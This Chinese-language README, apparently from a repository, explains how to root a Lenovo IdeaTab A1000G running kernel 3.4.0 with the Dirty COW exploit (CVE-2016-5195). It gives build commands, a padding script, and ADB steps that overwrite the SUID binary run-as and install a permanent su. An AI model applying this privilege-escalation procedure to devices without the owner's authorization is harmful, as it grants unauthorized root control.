Lenovo IdeaTab A1000G — 获取 Root 权限

注意： 本文档及漏洞利用代码由 AI（Kiro）辅助生成。使用前请自行验证 —— AI 确实会犯错。

设备信息

字段	值
型号	Lenovo IdeaTab A1000G
SoC	MediaTek MT8317 (= MT6517)
CPU	双核 Cortex-A9 @ 1.2GHz
内核	Linux 3.4.0
构建号	A1000G_A412_01_09_130907_2G
Android 版本	4.1.2 (Jelly Bean)

前置条件

已启用 USB 调试
已连接 ADB
Android NDK r28+ 位于 ~/Android/Sdk/ndk/
busybox-armv7l 静态二进制文件（busybox.net/downloads/binaries/1.21.1/）

漏洞利用 — CVE-2016-5195 (Dirty COW)

内核 mmap/write 路径中的竞争条件。影响内核 2.6.22–4.8.3。目标：/system/bin/run-as（SUID root，9448 字节）。

1. 编译

NDK=~/Android/Sdk/ndk/28.2.13676358/toolchains/llvm/prebuilt/linux-x86_64/bin
CC=$NDK/armv7a-linux-androideabi21-clang

# dcow exploit
$CC -o dcow -static -march=armv7-a -mfloat-abi=softfp -O1 \
    -UPRINT -UDEBUG "-DLOGV(...)=printf(__VA_ARGS__)" \
    dcow_main.c dirtycow_android.c

# su binary
$CC -o su -march=armv7-a -mfloat-abi=softfp -Os -s -fno-pie -no-pie su2_src.c

2. 将 su 填充至目标大小（9448 字节）

with open('su', 'rb') as f: data = f.read()
data = data + b'\x00' * (9448 - len(data))
with open('su_padded', 'wb') as f: f.write(data)

3. 运行

adb push dcow su_padded su /data/local/tmp/
adb shell chmod 755 /data/local/tmp/dcow /data/local/tmp/su_padded /data/local/tmp/su
adb shell "/data/local/tmp/dcow /data/local/tmp/su_padded /system/bin/run-as"
# Wait for: [+] Success!

4. 永久安装 su

# Enter root shell first
adb shell /system/bin/run-as

# Then:
mount -o remount,rw /system
toolbox dd if=/data/local/tmp/su of=/system/bin/su
toolbox chmod 6755 /system/bin/su
toolbox chown root:root /system/bin/su

5. 安装 busybox（可选）

# From PC:
adb push busybox-armv7l /data/local/tmp/busybox

# From root shell:
toolbox dd if=/data/local/tmp/busybox of=/system/bin/busybox
toolbox chmod 755 /system/bin/busybox
/system/bin/busybox --install /system/bin/

用法

adb shell
/system/bin/run-as   # drops to root shell (#)
id                   # uid=0(root)

adb shell /system/bin/su -c cmd 并不起作用 —— ADB 会丢弃 setuid。必须先进入交互式 shell。

Root 后的状态

/system/bin/run-as → 已被覆盖（原始 run-as 功能失效）
/system/bin/su → 永久 SUID su 二进制文件
/system/bin/busybox → busybox 1.21.1

失败的尝试

方法	原因
CVE-2013-1763 sock_diag	未编译进内核
CVE-2013-6282 get_user/put_user	ldrt/strt 在 Cortex-A9 上被阻止

文件

.
├── README.md
├── root.sh              # automated root script
├── dirtycow_android.c   # CVE-2016-5195 core (Arinerron fork)
├── dcow_main.c          # main() wrapper
└── su2_src.c            # su binary source

未包含预编译二进制文件 —— 请按照上述步骤从源码编译。

参考资料

CVE-2016-5195 源码：Arinerron/CVE-2016-5195
固件 ROM（不同构建版本，仅用于提取内核符号）： Lenovo_A1000G_MT6577_01_24_130329 —— 该 ROM 中的符号适用于构建版本 A412_01_09_130907，因为两者的内核虚拟内存布局相同。

lenovo-a1000g-mt8317-A412_01_09_130907-kernel-3.4.0-root-cve-2016-5195

最受欢迎